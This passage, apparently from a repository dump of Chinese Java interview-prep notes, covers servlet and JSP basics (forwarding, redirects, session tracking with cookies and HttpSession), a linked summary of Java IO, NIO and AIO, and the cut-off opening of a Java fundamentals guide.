什么情况下调用doGet()和doPost()\nForm标签里的method的属性为get时调用doGet()，为post时调用doPost()。\n\n## 转发(Forward)和重定向(Redirect)的区别\n\n**转发是服务器行为，重定向是客户端行为。**\n\n**转发（Forword）**\n通过RequestDispatcher对象的forward（HttpServletRequest request,HttpServletResponse response）方法实现的。RequestDispatcher可以通过HttpServletRequest 的getRequestDispatcher()方法获得。例如下面的代码就是跳转到login_success.jsp页面。\n```java\n     request.getRequestDispatcher(\"login_success.jsp\").forward(request, response);\n```\n**重定向（Redirect）**  是利用服务器返回的状态码来实现的。客户端浏览器请求服务器的时候，服务器会返回一个状态码。服务器通过 `HttpServletResponse` 的 `setStatus(int status)` 方法设置状态码。如果服务器返回301或者302，则浏览器会到新的网址重新请求该资源。\n\n1. **从地址栏显示来说**\n\nforward是服务器请求资源,服务器直接访问目标地址的URL,把那个URL的响应内容读取过来,然后把这些内容再发给浏览器.浏览器根本不知道服务器发送的内容从哪里来的,所以它的地址栏还是原来的地址.\nredirect是服务端根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址.所以地址栏显示的是新的URL.\n\n2. **从数据共享来说**\n\nforward:转发页面和转发到的页面可以共享request里面的数据.\nredirect:不能共享数据.\n\n3. **从运用地方来说**\n\nforward:一般用于用户登陆的时候,根据角色转发到相应的模块.\nredirect:一般用于用户注销登陆时返回主页面和跳转到其它的网站等\n\n4. 从效率来说\n\nforward:高.\nredirect:低.\n\n## 自动刷新(Refresh)\n自动刷新不仅可以实现一段时间之后自动跳转到另一个页面，还可以实现一段时间之后自动刷新本页面。Servlet中通过HttpServletResponse对象设置Header属性实现自动刷新例如：\n```java\nResponse.setHeader(\"Refresh\",\"5;URL=http://localhost:8080/servlet/example.htm\");\n```\n其中5为时间，单位为秒。URL指定就是要跳转的页面（如果设置自己的路径，就会实现每过5秒自动刷新本页面一次）\n\n\n## Servlet与线程安全\n**Servlet不是线程安全的，多线程并发的读写会导致数据不同步的问题。** 解决的办法是尽量不要定义name属性，而是要把name变量分别定义在doGet()和doPost()方法内。虽然使用synchronized(name){}语句块可以解决问题，但是会造成线程的等待，不是很科学的办法。\n注意：多线程的并发的读写Servlet类属性会导致数据不同步。但是如果只是并发地读取属性而不写入，则不存在数据不同步的问题。因此Servlet里的只读属性最好定义为final类型的。\n\n参考：《javaweb整合开发王者归来》P92\n\n\n\n## JSP和Servlet是什么关系\n其实这个问题在上面已经阐述过了，Servlet是一个特殊的Java程序，它运行于服务器的JVM中，能够依靠服务器的支持向浏览器提供显示内容。JSP本质上是Servlet的一种简易形式，JSP会被服务器处理成一个类似于Servlet的Java程序，可以简化页面内容的生成。Servlet和JSP最主要的不同点在于，Servlet的应用逻辑是在Java文件中，并且完全从表示层中的HTML分离开来。而JSP的情况是Java和HTML可以组合成一个扩展名为.jsp的文件。有人说，Servlet就是在Java中写HTML，而JSP就是在HTML中写Java代码，当然这个说法是很片面且不够准确的。JSP侧重于视图，Servlet更侧重于控制逻辑，在MVC架构模式中，JSP适合充当视图（view）而Servlet适合充当控制器（controller）。\n\n## JSP工作原理\nJSP是一种Servlet，但是与HttpServlet的工作方式不太一样。HttpServlet是先由源代码编译为class文件后部署到服务器下，为先编译后部署。而JSP则是先部署后编译。JSP会在客户端第一次请求JSP文件时被编译为HttpJspPage类（接口Servlet的一个子类）。该类会被服务器临时存放在服务器工作目录里面。下面通过实例给大家介绍。\n工程JspLoginDemo下有一个名为login.jsp的Jsp文件，把工程第一次部署到服务器上后访问这个Jsp文件，我们发现这个目录下多了下图这两个东东。\n.class文件便是JSP对应的Servlet。编译完毕后再运行class文件来响应客户端请求。以后客户端访问login.jsp的时候，Tomcat将不再重新编译JSP文件，而是直接调用class文件来响应客户端请求。\n![JSP工作原理](https://user-gold-cdn.xitu.io/2018/3/31/1627bee073079a28?w=675&h=292&f=jpeg&s=133553)\n由于JSP只会在客户端第一次请求的时候被编译 ，因此第一次请求JSP时会感觉比较慢，之后就会感觉快很多。如果把服务器保存的class文件删除，服务器也会重新编译JSP。\n\n开发Web程序时经常需要修改JSP。Tomcat能够自动检测到JSP程序的改动。如果检测到JSP源代码发生了改动。Tomcat会在下次客户端请求JSP时重新编译JSP，而不需要重启Tomcat。这种自动检测功能是默认开启的，检测改动会消耗少量的时间，在部署Web应用的时候可以在web.xml中将它关掉。\n\n\n\n参考：《javaweb整合开发王者归来》P97\n\n## JSP有哪些内置对象、作用分别是什么\n[JSP内置对象 - CSDN博客 ](http://blog.csdn.net/qq_34337272/article/details/64310849 ) \n\nJSP有9个内置对象：\n- request：封装客户端的请求，其中包含来自GET或POST请求的参数；\n- response：封装服务器对客户端的响应；\n- pageContext：通过该对象可以获取其他对象；\n- session：封装用户会话的对象；\n- application：封装服务器运行环境的对象；\n- out：输出服务器响应的输出流对象；\n- config：Web应用的配置对象；\n- page：JSP页面本身（相当于Java程序中的this）；\n- exception：封装页面抛出异常的对象。\n\n\n## Request对象的主要方法有哪些\n- setAttribute(String name,Object)：设置名字为name的request 的参数值 \n- getAttribute(String name)：返回由name指定的属性值 \n- getAttributeNames()：返回request 对象所有属性的名字集合，结果是一个枚举的实例 \n- getCookies()：返回客户端的所有 Cookie 对象，结果是一个Cookie 数组 \n- getCharacterEncoding() ：返回请求中的字符编码方式 = getContentLength() ：返回请求的 Body的长度 \n- getHeader(String name) ：获得HTTP协议定义的文件头信息 \n- getHeaders(String name) ：返回指定名字的request Header 的所有值，结果是一个枚举的实例 \n- getHeaderNames() ：返回所以request Header 的名字，结果是一个枚举的实例 \n- getInputStream() ：返回请求的输入流，用于获得请求中的数据 \n- getMethod() ：获得客户端向服务器端传送数据的方法 \n- getParameter(String name) ：获得客户端传送给服务器端的有 name指定的参数值 \n- getParameterNames() ：获得客户端传送给服务器端的所有参数的名字，结果是一个枚举的实例 \n- getParameterValues(String name)：获得有name指定的参数的所有值 \n- getProtocol()：获取客户端向服务器端传送数据所依据的协议名称 \n- getQueryString() ：获得查询字符串 \n- getRequestURI() ：获取发出请求字符串的客户端地址 \n- getRemoteAddr()：获取客户端的 IP 地址 \n- getRemoteHost() ：获取客户端的名字 \n- getSession([Boolean create]) ：返回和请求相关 Session \n- getServerName() ：获取服务器的名字 \n- getServletPath()：获取客户端所请求的脚本文件的路径 \n- getServerPort()：获取服务器的端口号 \n- removeAttribute(String name)：删除请求中的一个属性 \n\n## request.getAttribute()和 request.getParameter()有何区别\n**从获取方向来看：**\n\ngetParameter()是获取 POST/GET 传递的参数值；\n\ngetAttribute()是获取对象容器中的数据值；\n\n**从用途来看：**\n\ngetParameter用于客户端重定向时，即点击了链接或提交按扭时传值用，即用于在用表单或url重定向传值时接收数据用。\n\ngetAttribute用于服务器端重定向时，即在 sevlet 中使用了 forward 函数,或 struts 中使用了\nmapping.findForward。 getAttribute 只能收到程序用 setAttribute 传过来的值。\n\n另外，可以用 setAttribute,getAttribute 发送接收对象.而 getParameter 显然只能传字符串。\nsetAttribute 是应用服务器把这个对象放在该页面所对应的一块内存中去，当你的页面服务器重定向到另一个页面时，应用服务器会把这块内存拷贝另一个页面所对应的内存中。这样getAttribute就能取得你所设下的值，当然这种方法可以传对象。session也一样，只是对象在内存中的生命周期不一样而已。getParameter只是应用服务器在分析你送上来的 request页面的文本时，取得你设在表单或 url 重定向时的值。\n\n**总结：**\n\ngetParameter 返回的是String,用于读取提交的表单中的值;（获取之后会根据实际需要转换为自己需要的相应类型，比如整型，日期类型啊等等）\n\ngetAttribute 返回的是Object，需进行转换,可用setAttribute 设置成任意对象，使用很灵活，可随时用\n\n## include指令include的行为的区别\n**include指令：** JSP可以通过include指令来包含其他文件。被包含的文件可以是JSP文件、HTML文件或文本文件。包含的文件就好像是该JSP文件的一部分，会被同时编译执行。 语法格式如下： \n<%@ include file=\"文件相对 url 地址\" %>\n\ni**nclude动作：** <jsp:include>动作元素用来包含静态和动态的文件。该动作把指定文件插入正在生成的页面。语法格式如下：\n<jsp:include page=\"相对 URL 地址\" flush=\"true\" />\n\n## JSP九大内置对象，七大动作，三大指令\n[JSP九大内置对象，七大动作，三大指令总结](http://blog.csdn.net/qq_34337272/article/details/64310849)\n\n## 讲解JSP中的四种作用域\nJSP中的四种作用域包括page、request、session和application，具体来说：\n- **page**代表与一个页面相关的对象和属性。\n- **request**代表与Web客户机发出的一个请求相关的对象和属性。一个请求可能跨越多个页面，涉及多个Web组件；需要在页面显示的临时数据可以置于此作用域。\n- **session**代表与某个用户与服务器建立的一次会话相关的对象和属性。跟某个用户相关的数据应该放在用户自己的session中。\n- **application**代表与整个Web应用程序相关的对象和属性，它实质上是跨越整个Web应用程序，包括多个页面、请求和会话的一个全局作用域。\n\n\n\n## 如何实现JSP或Servlet的单线程模式\n对于JSP页面，可以通过page指令进行设置。\n<%@page isThreadSafe=”false”%>\n\n对于Servlet，可以让自定义的Servlet实现SingleThreadModel标识接口。\n\n说明：如果将JSP或Servlet设置成单线程工作模式，会导致每个请求创建一个Servlet实例，这种实践将导致严重的性能问题（服务器的内存压力很大，还会导致频繁的垃圾回收），所以通常情况下并不会这么做。\n\n## 实现会话跟踪的技术有哪些\n1. **使用Cookie**\n\n向客户端发送Cookie\n```java\nCookie c =new Cookie(\"name\",\"value\"); //创建Cookie \nc.setMaxAge(60*60*24); //设置最大时效，此处设置的最大时效为一天\nresponse.addCookie(c); //把Cookie放入到HTTP响应中\n```\n从客户端读取Cookie\n```java\nString name =\"name\"; \nCookie[]cookies =request.getCookies(); \nif(cookies !=null){ \n   for(int i= 0;i<cookies.length;i++){ \n    Cookie cookie =cookies[i]; \n    if(name.equals(cookis.getName())) \n    //something is here. \n    //you can get the value \n    cookie.getValue(); \n       \n   }\n }\n\n```\n**优点:** 数据可以持久保存，不需要服务器资源，简单，基于文本的Key-Value\n\n**缺点:** 大小受到限制，用户可以禁用Cookie功能，由于保存在本地，有一定的安全风险。\n\n2. URL 重写\n\n在URL中添加用户会话的信息作为请求的参数，或者将唯一的会话ID添加到URL结尾以标识一个会话。 \n\n**优点：** 在Cookie被禁用的时候依然可以使用\n\n**缺点：** 必须对网站的URL进行编码，所有页面必须动态生成，不能用预先记录下来的URL进行访问。\n\n3.隐藏的表单域\n```html\n<input type=\"hidden\" name =\"session\" value=\"...\"/>\n```\n\n**优点：** Cookie被禁时可以使用\n\n**缺点：** 所有页面必须是表单提交之后的结果。\n\n4. HttpSession\n\n\n 在所有会话跟踪技术中，HttpSession对象是最强大也是功能最多的。当一个用户第一次访问某个网站时会自动创建 HttpSession，每个用户可以访问他自己的HttpSession。可以通过HttpServletRequest对象的getSession方 法获得HttpSession，通过HttpSession的setAttribute方法可以将一个值放在HttpSession中，通过调用 HttpSession对象的getAttribute方法，同时传入属性名就可以获取保存在HttpSession中的对象。与上面三种方式不同的 是，HttpSession放在服务器的内存中，因此不要将过大的对象放在里面，即使目前的Servlet容器可以在内存将满时将HttpSession 中的对象移到其他存储设备中，但是这样势必影响性能。添加到HttpSession中的值可以是任意Java对象，这个对象最好实现了 Serializable接口，这样Servlet容器在必要的时候可以将其序列化到文件中，否则在序列化时就会出现异常。\n## Cookie和Session的的区别\n\n1. 由于HTTP协议是无状态的协议，所以服务端需要记录用户的状态时，就需要用某种机制来识具体的用户，这个机制就是Session.典型的场景比如购物车，当你点击下单按钮时，由于HTTP协议无状态，所以并不知道是哪个用户操作的，所以服务端要为特定的用户创建了特定的Session，用用于标识这个用户，并且跟踪用户，这样才知道购物车里面有几本书。这个Session是保存在服务端的，有一个唯一标识。在服务端保存Session的方法很多，内存、数据库、文件都有。集群的时候也要考虑Session的转移，在大型的网站，一般会有专门的Session服务器集群，用来保存用户会话，这个时候 Session 信息都是放在内存的，使用一些缓存服务比如Memcached之类的来放 Session。\n2. 思考一下服务端如何识别特定的客户？这个时候Cookie就登场了。每次HTTP请求的时候，客户端都会发送相应的Cookie信息到服务端。实际上大多数的应用都是用 Cookie 来实现Session跟踪的，第一次创建Session的时候，服务端会在HTTP协议中告诉客户端，需要在 Cookie 里面记录一个Session ID，以后每次请求把这个会话ID发送到服务器，我就知道你是谁了。有人问，如果客户端的浏览器禁用了 Cookie 怎么办？一般这种情况下，会使用一种叫做URL重写的技术来进行会话跟踪，即每次HTTP交互，URL后面都会被附加上一个诸如 sid=xxxxx 这样的参数，服务端据此来识别用户。\n3. Cookie其实还可以用在一些方便用户的场景下，设想你某次登陆过一个网站，下次登录的时候不想再次输入账号了，怎么办？这个信息可以写到Cookie里面，访问网站的时候，网站页面的脚本可以读取这个信息，就自动帮你把用户名给填了，能够方便一下用户。这也是Cookie名称的由来，给用户的一点甜头。所以，总结一下：Session是在服务端保存的一个数据结构，用来跟踪用户的状态，这个数据可以保存在集群、数据库、文件中；Cookie是客户端保存用户信息的一种机制，用来记录用户的一些信息，也是实现Session的一种方式。\n\n参考：\n\nhttps://www.zhihu.com/question/19786827/answer/28752144\n\n《javaweb整合开发王者归来》P158 Cookie和Session的比较\n"
  },
  {
    "path": "docs/java/Java IO与NIO.md",
    "content": "<!-- MarkdownTOC -->\n\n- [IO流学习总结](#io流学习总结)\n  - [一　Java IO，硬骨头也能变软](#一-java-io，硬骨头也能变软)\n  - [二　java IO体系的学习总结](#二-java-io体系的学习总结)\n  - [三　Java IO面试题](#三-java-io面试题)\n- [NIO与AIO学习总结](#nio与aio学习总结)\n  - [一 Java NIO 概览](#一-java-nio-概览)\n  - [二 Java NIO 之 Buffer\\(缓冲区\\)](#二-java-nio-之-buffer缓冲区)\n  - [三 Java NIO 之 Channel（通道）](#三-java-nio-之-channel（通道）)\n  - [四 Java NIO之Selector（选择器）](#四-java-nio之selector（选择器）)\n  - [五 Java NIO之拥抱Path和Files](#五-java-nio之拥抱path和files)\n  - [六 NIO学习总结以及NIO新特性介绍](#六-nio学习总结以及nio新特性介绍)\n  - [七 Java NIO AsynchronousFileChannel异步文件通](#七-java-nio-asynchronousfilechannel异步文件通)\n  - [八 高并发Java（8）：NIO和AIO](#八-高并发java（8）：nio和aio)\n- [推荐阅读](#推荐阅读)\n  - [在 Java 7 中体会 NIO.2 异步执行的快乐](#在-java-7-中体会-nio2-异步执行的快乐)\n  - [Java AIO总结与示例](#java-aio总结与示例)\n\n<!-- /MarkdownTOC -->\n\n\n\n## IO流学习总结\n\n### [一　Java IO，硬骨头也能变软](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483981&idx=1&sn=6e5c682d76972c8d2cf271a85dcf09e2&chksm=fd98542ccaefdd3a70428e9549bc33e8165836855edaa748928d16c1ebde9648579d3acaac10#rd)\n\n**（1） 按操作方式分类结构图：**\n\n![按操作方式分类结构图：](https://user-gold-cdn.xitu.io/2018/5/16/16367d4fd1ce1b46?w=720&h=1080&f=jpeg&s=69522)\n\n\n**（2）按操作对象分类结构图**\n\n![按操作对象分类结构图](https://user-gold-cdn.xitu.io/2018/5/16/16367d673b0e268d?w=720&h=535&f=jpeg&s=46081)\n\n### [二　java IO体系的学习总结](https://blog.csdn.net/nightcurtis/article/details/51324105) \n1. **IO流的分类：**\n   - 按照流的流向分，可以分为输入流和输出流；\n   - 按照操作单元划分，可以划分为字节流和字符流；\n   - 按照流的角色划分为节点流和处理流。\n2. **流的原理浅析:**\n\n   java Io流共涉及40多个类，这些类看上去很杂乱，但实际上很有规则，而且彼此之间存在非常紧密的联系， Java Io流的40多个类都是从如下4个抽象类基类中派生出来的。\n\n   - **InputStream/Reader**: 所有的输入流的基类，前者是字节输入流，后者是字符输入流。\n   - **OutputStream/Writer**: 所有输出流的基类，前者是字节输出流，后者是字符输出流。\n3. **常用的io流的用法** \n\n### [三　Java IO面试题](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483985&idx=1&sn=38531c2cee7b87f125df7aef41637014&chksm=fd985430caefdd26b0506aa84fc26251877eccba24fac73169a4d6bd1eb5e3fbdf3c3b940261#rd)\n\n## NIO与AIO学习总结\n\n\n### [一 Java NIO 概览](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483956&idx=1&sn=57692bc5b7c2c6dfb812489baadc29c9&chksm=fd985455caefdd4331d828d8e89b22f19b304aa87d6da73c5d8c66fcef16e4c0b448b1a6f791#rd)\n\n1.  **NIO简介**:\n\n    Java NIO 是 java 1.4, 之后新出的一套IO接口NIO中的N可以理解为Non-blocking，不单纯是New。\n\n2.  **NIO的特性/NIO与IO区别:**\n    -   1)IO是面向流的，NIO是面向缓冲区的；\n    -   2)IO流是阻塞的，NIO流是不阻塞的;\n    -   3)NIO有选择器，而IO没有。\n3.  **读数据和写数据方式:**\n    - 从通道进行数据读取 ：创建一个缓冲区，然后请求通道读取数据。\n\n    - 从通道进行数据写入 ：创建一个缓冲区，填充数据，并要求通道写入数据。\n\n4.  **NIO核心组件简单介绍**\n    - **Channels**\n    - **Buffers**\n    - **Selectors**\n\n\n### [二 Java NIO 之 Buffer(缓冲区)](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483961&idx=1&sn=f67bef4c279e78043ff649b6b03fdcbc&chksm=fd985458caefdd4e3317ccbdb2d0a5a70a5024d3255eebf38183919ed9c25ade536017c0a6ba#rd)\n\n1. **Buffer(缓冲区)介绍:**\n   - Java NIO Buffers用于和NIO Channel交互。 我们从Channel中读取数据到buffers里，从Buffer把数据写入到Channels；\n   - Buffer本质上就是一块内存区；\n   - 一个Buffer有三个属性是必须掌握的，分别是：capacity容量、position位置、limit限制。\n2. **Buffer的常见方法**\n    - Buffer clear()\n    - Buffer flip()\n    - Buffer rewind()\n    - Buffer position(int newPosition)\n3. **Buffer的使用方式/方法介绍:**\n    - 分配缓冲区（Allocating a Buffer）:\n    ```java\n    ByteBuffer buf = ByteBuffer.allocate(28);//以ByteBuffer为例子\n    ```\n    - 写入数据到缓冲区（Writing Data to a Buffer）\n    \n     **写数据到Buffer有两种方法：**\n      \n      1.从Channel中写数据到Buffer\n      ```java\n      int bytesRead = inChannel.read(buf); //read into buffer.\n      ```\n      2.通过put写数据：\n      ```java\n      buf.put(127);\n      ```\n\n4. **Buffer常用方法测试**\n     \n    说实话，NIO编程真的难，通过后面这个测试例子，你可能才能勉强理解前面说的Buffer方法的作用。\n\n\n### [三 Java NIO 之 Channel（通道）](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483966&idx=1&sn=d5cf18c69f5f9ec2aff149270422731f&chksm=fd98545fcaefdd49296e2c78000ce5da277435b90ba3c03b92b7cf54c6ccc71d61d13efbce63#rd)\n\n\n1.  **Channel（通道）介绍**\n     - 通常来说NIO中的所有IO都是从 Channel（通道） 开始的。 \n     - NIO Channel通道和流的区别：\n2. **FileChannel的使用**\n3. **SocketChannel和ServerSocketChannel的使用**\n4.  **️DatagramChannel的使用**\n5.  **Scatter / Gather**\n    - Scatter: 从一个Channel读取的信息分散到N个缓冲区中(Buufer).\n    - Gather: 将N个Buffer里面内容按照顺序发送到一个Channel.\n6. **通道之间的数据传输**\n   - 在Java NIO中如果一个channel是FileChannel类型的，那么他可以直接把数据传输到另一个channel。\n   - transferFrom() :transferFrom方法把数据从通道源传输到FileChannel\n   - transferTo() :transferTo方法把FileChannel数据传输到另一个channel\n   \n\n### [四 Java NIO之Selector（选择器）](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483970&idx=1&sn=d5e2b133313b1d0f32872d54fbdf0aa7&chksm=fd985423caefdd354b587e57ce6cf5f5a7bec48b9ab7554f39a8d13af47660cae793956e0f46#rd)\n\n\n1. **Selector（选择器）介绍**\n   - Selector 一般称 为选择器 ，当然你也可以翻译为 多路复用器 。它是Java NIO核心组件中的一个，用于检查一个或多个NIO Channel（通道）的状态是否处于可读、可写。如此可以实现单线程管理多个channels,也就是可以管理多个网络链接。\n   - 使用Selector的好处在于： 使用更少的线程来就可以来处理通道了， 相比使用多个线程，避免了线程上下文切换带来的开销。\n2. **Selector（选择器）的使用方法介绍**\n   - Selector的创建\n   ```java\n   Selector selector = Selector.open();\n   ```\n   - 注册Channel到Selector(Channel必须是非阻塞的)\n   ```java\n   channel.configureBlocking(false);\n   SelectionKey key = channel.register(selector, Selectionkey.OP_READ);\n   ```\n   -  SelectionKey介绍\n   \n      一个SelectionKey键表示了一个特定的通道对象和一个特定的选择器对象之间的注册关系。\n   - 从Selector中选择channel(Selecting Channels via a Selector)\n   \n     选择器维护注册过的通道的集合，并且这种注册关系都被封装在SelectionKey当中.\n   - 停止选择的方法\n     \n     wakeup()方法 和close()方法。\n3.  **模板代码**\n\n    有了模板代码我们在编写程序时，大多数时间都是在模板代码中添加相应的业务代码。\n4. **客户端与服务端简单交互实例**\n\n\n\n### [五 Java NIO之拥抱Path和Files](https://mp.weixin.qq.com/s?__biz=MzU4NDQ4MzU5OA==&mid=2247483976&idx=1&sn=2296c05fc1b840a64679e2ad7794c96d&chksm=fd985429caefdd3f48e2ee6fdd7b0f6fc419df90b3de46832b484d6d1ca4e74e7837689c8146&token=537240785&lang=zh_CN#rd)\n\n**一 文件I/O基石：Path：**\n- 创建一个Path\n- File和Path之间的转换，File和URI之间的转换\n- 获取Path的相关信息\n- 移除Path中的冗余项\n\n**二 拥抱Files类：**\n-  Files.exists() 检测文件路径是否存在\n-  Files.createFile() 创建文件\n-  Files.createDirectories()和Files.createDirectory()创建文件夹\n-  Files.delete()方法 可以删除一个文件或目录\n-  Files.copy()方法可以吧一个文件从一个地址复制到另一个位置\n-   获取文件属性\n-   遍历一个文件夹\n-   Files.walkFileTree()遍历整个目录\n\n### [六 NIO学习总结以及NIO新特性介绍](https://blog.csdn.net/a953713428/article/details/64907250)\n\n- **内存映射：**\n\n这个功能主要是为了提高大文件的读写速度而设计的。内存映射文件(memory-mappedfile)能让你创建和修改那些大到无法读入内存的文件。有了内存映射文件，你就可以认为文件已经全部读进了内存，然后把它当成一个非常大的数组来访问了。将文件的一段区域映射到内存中，比传统的文件处理速度要快很多。内存映射文件它虽然最终也是要从磁盘读取数据，但是它并不需要将数据读取到OS内核缓冲区，而是直接将进程的用户私有地址空间中的一部分区域与文件对象建立起映射关系，就好像直接从内存中读、写文件一样，速度当然快了。\n\n### [七 Java NIO AsynchronousFileChannel异步文件通](http://wiki.jikexueyuan.com/project/java-nio-zh/java-nio-asynchronousfilechannel.html)\n\nJava7中新增了AsynchronousFileChannel作为nio的一部分。AsynchronousFileChannel使得数据可以进行异步读写。\n\n### [八 高并发Java（8）：NIO和AIO](http://www.importnew.com/21341.html)\n\n\n\n## 推荐阅读\n\n### [在 Java 7 中体会 NIO.2 异步执行的快乐](https://www.ibm.com/developerworks/cn/java/j-lo-nio2/index.html)\n\n### [Java AIO总结与示例](https://blog.csdn.net/x_i_y_u_e/article/details/52223406)\nAIO是异步IO的缩写，虽然NIO在网络操作中，提供了非阻塞的方法，但是NIO的IO行为还是同步的。对于NIO来说，我们的业务线程是在IO操作准备好时，得到通知，接着就由这个线程自行进行IO操作，IO操作本身是同步的。\n\n\n**欢迎关注我的微信公众号:\"Java面试通关手册\"（一个有温度的微信公众号，期待与你共同进步~~~坚持原创，分享美文，分享各种Java学习资源）：**\n"
  },
  {
    "path": "docs/java/Java基础知识.md",
    "content": "\n\n<!-- MarkdownTOC -->\n\n- [1. 面向对象和面向过程的区别](#1-面向对象和面向过程的区别)\n  - [面向过程](#面向过程)\n  - [面向对象](#面向对象)\n- [2. Java 语言有哪些特点](#2-java-语言有哪些特点)\n- [3. 关于 JVM JDK 和 JRE 最详细通俗的解答](#3-关于-jvm-jdk-和-jre-最详细通俗的解答)\n  - [JVM](#jvm)\n  - [JDK 和 JRE](#jdk-和-jre)\n- [4. Oracle JDK 和 OpenJDK 的对比](#4-oracle-jdk-和-openjdk-的对比)\n- [5. Java和C++的区别](#5-java和c的区别)\n- [6. 什么是 Java 程序的主类 应用程序和小程序的主类有何不同](#6-什么是-java-程序的主类-应用程序和小程序的主类有何不同)\n- [7. Java 应用程序与小程序之间有那些差别](#7-java-应用程序与小程序之间有那些差别)\n- [8. 字符型常量和字符串常量的区别](#8-字符型常量和字符串常量的区别)\n- [9. 构造器 Constructor 是否可被 override](#9-构造器-constructor-是否可被-override)\n- [10. 重载和重写的区别](#10-重载和重写的区别)\n- [11. Java 面向对象编程三大特性: 封装 继承 多态](#11-java-面向对象编程三大特性-封装-继承-多态)\n  - [封装](#封装)\n  - [继承](#继承)\n  - [多态](#多态)\n- [12. String StringBuffer 和 StringBuilder 的区别是什么 String 为什么是不可变的](#12-string-stringbuffer-和-stringbuilder-的区别是什么-string-为什么是不可变的)\n- [13. 自动装箱与拆箱](#13-自动装箱与拆箱)\n- [14. 在一个静态方法内调用一个非静态成员为什么是非法的](#14-在一个静态方法内调用一个非静态成员为什么是非法的)\n- [15. 在 Java 中定义一个不做事且没有参数的构造方法的作用](#15-在-java-中定义一个不做事且没有参数的构造方法的作用)\n- [16. import java和javax有什么区别](#16-import-java和javax有什么区别)\n- [17.  接口和抽象类的区别是什么](#17-接口和抽象类的区别是什么)\n- [18.  成员变量与局部变量的区别有那些](#18-成员变量与局部变量的区别有那些)\n- [19. 创建一个对象用什么运算符?对象实体与对象引用有何不同?](#19-创建一个对象用什么运算符对象实体与对象引用有何不同)\n- [20. 什么是方法的返回值?返回值在类的方法里的作用是什么?](#20-什么是方法的返回值返回值在类的方法里的作用是什么)\n- [21. 一个类的构造方法的作用是什么 若一个类没有声明构造方法,该程序能正确执行吗 ?为什么?](#21-一个类的构造方法的作用是什么-若一个类没有声明构造方法该程序能正确执行吗-为什么)\n- [22. 构造方法有哪些特性](#22-构造方法有哪些特性)\n- [23. 静态方法和实例方法有何不同](#23-静态方法和实例方法有何不同)\n- [24. 对象的相等与指向他们的引用相等，两者有什么不同？](#24-对象的相等与指向他们的引用相等两者有什么不同)\n- [25. 在调用子类构造方法之前会先调用父类没有参数的构造方法，其目的是?](#25-在调用子类构造方法之前会先调用父类没有参数的构造方法其目的是)\n- [26.  == 与 equals\\(重要\\)](#26--与-equals重要)\n- [27. hashCode 与 equals \\(重要\\)](#27-hashcode-与-equals-重要)\n  - [hashCode（）介绍](#hashcode（）介绍)\n  - [为什么要有 hashCode](#为什么要有-hashcode)\n  - [hashCode（）与equals（）的相关规定](#hashcode（）与equals（）的相关规定)\n- [28. 为什么Java中只有值传递](#28-为什么java中只有值传递)\n- [29. 简述线程，程序、进程的基本概念。以及他们之间关系是什么](#29-简述线程程序进程的基本概念以及他们之间关系是什么)\n- [30. 线程有哪些基本状态?](#30-线程有哪些基本状态)\n- [31 关于 final 关键字的一些总结](#31-关于-final-关键字的一些总结)\n- [32 Java 中的异常处理](#32-java-中的异常处理)\n  - [Java异常类层次结构图](#java异常类层次结构图)\n  - [Throwable类常用方法](#throwable类常用方法)\n  - [异常处理总结](#异常处理总结)\n- [33 Java序列化中如果有些字段不想进行序列化 怎么办](#33-java序列化中如果有些字段不想进行序列化-怎么办)\n- [34 获取用键盘输入常用的的两种方法](#34-获取用键盘输入常用的的两种方法)\n- [参考](#参考)\n\n<!-- /MarkdownTOC -->\n\n\n\n## 1. 面向对象和面向过程的区别\n\n### 面向过程\n\n**优点：** 性能比面向对象高。因为类调用时需要实例化，开销比较大，比较消耗资源，所以当性能是最重要的考量因素的时候，比如单片机、嵌入式开发、Linux/Unix等一般采用面向过程开发\n\n**缺点：** 没有面向对象易维护、易复用、易扩展\n\n### 面向对象\n\n**优点：** 易维护、易复用、易扩展，由于面向对象有封装、继承、多态性的特性，可以设计出低耦合的系统，使系统更加灵活、更加易于维护\n\n**缺点：** 性能比面向过程低\n\n## 2. Java 语言有哪些特点?\n\n1. 简单易学；\n2. 面向对象（封装，继承，多态）；\n3. 平台无关性（ Java 虚拟机实现平台无关性）；\n4. 可靠性；\n5. 安全性；\n6. 支持多线程（ C++ 语言没有内置的多线程机制，因此必须调用操作系统的多线程功能来进行多线程程序设计，而 Java 语言却提供了多线程支持）；\n7. 支持网络编程并且很方便（ Java 语言诞生本身就是为简化网络编程设计的，因此 Java 语言不仅支持网络编程而且很方便）；\n8. 编译与解释并存；\n\n## 3. 关于 JVM JDK 和 JRE 最详细通俗的解答\n\n### JVM\n\nJava虚拟机（JVM）是运行 Java 字节码的虚拟机。JVM有针对不同系统的特定实现（Windows，Linux，macOS），目的是使用相同的字节码，它们都会给出相同的结果。\n\n**什么是字节码?采用字节码的好处是什么?**\n\n> 在 Java 中，JVM可以理解的代码就叫做`字节码`（即扩展名为 `.class` 的文件），它不面向任何特定的处理器，只面向虚拟机。Java 语言通过字节码的方式，在一定程度上解决了传统解释型语言执行效率低的问题，同时又保留了解释型语言可移植的特点。所以 Java 程序运行时比较高效，而且，由于字节码并不针对一种特定的机器，因此，Java程序无须重新编译便可在多种不同操作系统的计算机上运行。\n\n**Java 程序从源代码到运行一般有下面3步：**\n\n![Java程序运行过程](https://my-blog-to-use.oss-cn-beijing.aliyuncs.com/Java%20%E7%A8%8B%E5%BA%8F%E8%BF%90%E8%A1%8C%E8%BF%87%E7%A8%8B.png)\n\n我们需要格外注意的是 .class->机器码 这一步。在这一步 JVM 类加载器首先加载字节码文件，然后通过解释器逐行解释执行，这种方式的执行速度会相对比较慢。而且，有些方法和代码块是经常需要被调用的(也就是所谓的热点代码)，所以后面引进了 JIT 编译器，而JIT 属于运行时编译。当 JIT 编译器完成第一次编译后，其会将字节码对应的机器码保存下来，下次可以直接使用。而我们知道，机器码的运行效率肯定是高于 Java 解释器的。这也解释了我们为什么经常会说 Java 是编译与解释共存的语言。\n\n> HotSpot采用了惰性评估(Lazy 